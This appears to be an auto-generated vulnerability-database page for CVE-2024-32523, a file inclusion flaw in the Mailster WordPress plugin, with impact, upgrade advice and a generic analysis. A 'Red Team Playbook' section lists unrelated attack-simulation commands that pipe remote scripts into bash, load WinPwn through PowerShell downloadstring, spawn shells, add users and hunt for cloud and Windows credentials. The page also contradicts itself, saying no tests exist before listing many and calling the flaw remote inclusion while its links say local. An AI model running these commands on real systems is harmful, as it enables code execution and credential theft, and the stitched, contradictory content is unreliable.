CVE-2024-32523
Overview
This vulnerability is a PHP Remote File Inclusion (RFI) caused by improper control of filenames used in include or require statements within the EverPress Mailster plugin. The root cause lies in insufficient validation or sanitization of user-supplied input that determines the file path to be included. The affected component is the Mailster plugin for WordPress, specifically versions up to and including 4.0.6.
Vulnerability Description
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in EverPress Mailster mailster.This issue affects Mailster: from n/a through <= 4.0.6.
Impact
An unauthenticated attacker can exploit this vulnerability to execute arbitrary PHP code on the server by including malicious remote files. This can lead to full system compromise, data exposure, or persistent backdoors. No user interaction or credentials are required to exploit the flaw, increasing the risk of automated attacks and widespread exploitation against vulnerable Mailster installations.
Solution
Upgrade the EverPress Mailster plugin to version 4.0.7 or later, where this vulnerability has been addressed. Refer to the Patchstack advisory at https://patchstack.com/database/Wordpress/Plugin/mailster/vulnerability/wordpress-mailster-plugin-4-0-6-unauthenticated-local-file-inclusion-vulnerability?_s_id=cve for detailed patch instructions and verification steps. Applying the official update is the recommended remediation to eliminate the remote file inclusion flaw.
EPSS vs KEV Prediction — Evolution (30 days)
Overview
Analysis generation failed
Threat Summary
Analysis generation failed
Full Analysis
The vulnerability in question is characterized by improper control of filenames used in include or require statements within a PHP application, specifically affecting the EverPress Mailster plugin. This flaw allows an attacker to manipulate the input to these statements, potentially leading to remote file inclusion (RFI). RFI vulnerabilities occur when an application includes files from external sources without proper validation or sanitization, allowing malicious actors to execute arbitrary code on the server. In this case, the affected versions of Mailster, particularly those up to and including version 4.0.6, are susceptible to exploitation due to inadequate safeguards around file inclusion mechanisms.
Attack vectors for this vulnerability are varied, but they typically involve an attacker crafting a request that alters the expected file path. By exploiting this flaw, an attacker could include a remote file hosted on an external server, which may contain malicious PHP code. Once the server executes this code, the attacker gains the ability to perform actions such as stealing sensitive data, manipulating the application’s behavior, or even taking full control of the server environment. Scenarios may include an attacker sending a crafted URL to a victim, who unwittingly triggers the vulnerable functionality, or directly targeting the application through automated scripts that probe for the vulnerability.
The real-world impact of this vulnerability can be significant, particularly for businesses that rely on the affected plugin for email marketing and communication. Successful exploitation could lead to data breaches, loss of customer trust, and potential legal ramifications if sensitive information is compromised. Additionally, the operational disruption caused by a successful attack could result in financial losses, both from immediate remediation costs and long-term damage to the organization’s reputation. The risk is exacerbated in environments where sensitive customer data is handled, as attackers could leverage the compromised system to access and exfiltrate this information.
To detect the presence of this vulnerability, organizations should implement robust logging and monitoring practices to identify unusual file inclusion attempts or unexpected behavior in the application. Regular security assessments, including vulnerability scanning and penetration testing, can help identify and remediate such flaws before they are exploited. Automated tools can be employed to scan for known vulnerabilities in PHP applications, but manual code reviews are also essential to uncover logic flaws that automated tools might miss.
Mitigation strategies should focus on securing the application’s file inclusion mechanisms. Developers should ensure that any input used in include or require statements is strictly validated and sanitized, limiting it to a predefined set of acceptable values. Additionally, employing security best practices such as disabling remote file inclusion in the PHP configuration can significantly reduce the attack surface. Keeping the application and its dependencies up to date is crucial, as updates often include patches for known vulnerabilities. Organizations should also consider implementing a web application firewall (WAF) to provide an additional layer of protection against exploitation attempts.
In conclusion, the improper control of filenames for include/require statements in the EverPress Mailster plugin presents a significant security risk that can lead to severe consequences for affected organizations. Understanding the technical details, potential attack vectors, and real-world implications of this vulnerability is essential for effective risk management. By prioritizing detection and mitigation strategies, organizations can better safeguard their systems against exploitation and maintain the integrity of their operations.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-193 | PHP Remote File Inclusion |
33%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-32523 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/Wordpress/Plugin/mailster/vulnerability/wordpress-mailster-plugin-4-0-6-unauthenticated-local-file-inclusion-vulnerability?_s_id=cve |
| patchstack.com |
NVD API
|
https://patchstack.com/database/vulnerability/mailster/wordpress-mailster-plugin-4-0-6-unauthenticated-local-file-inclusion-vulnerability?_s_id=cve |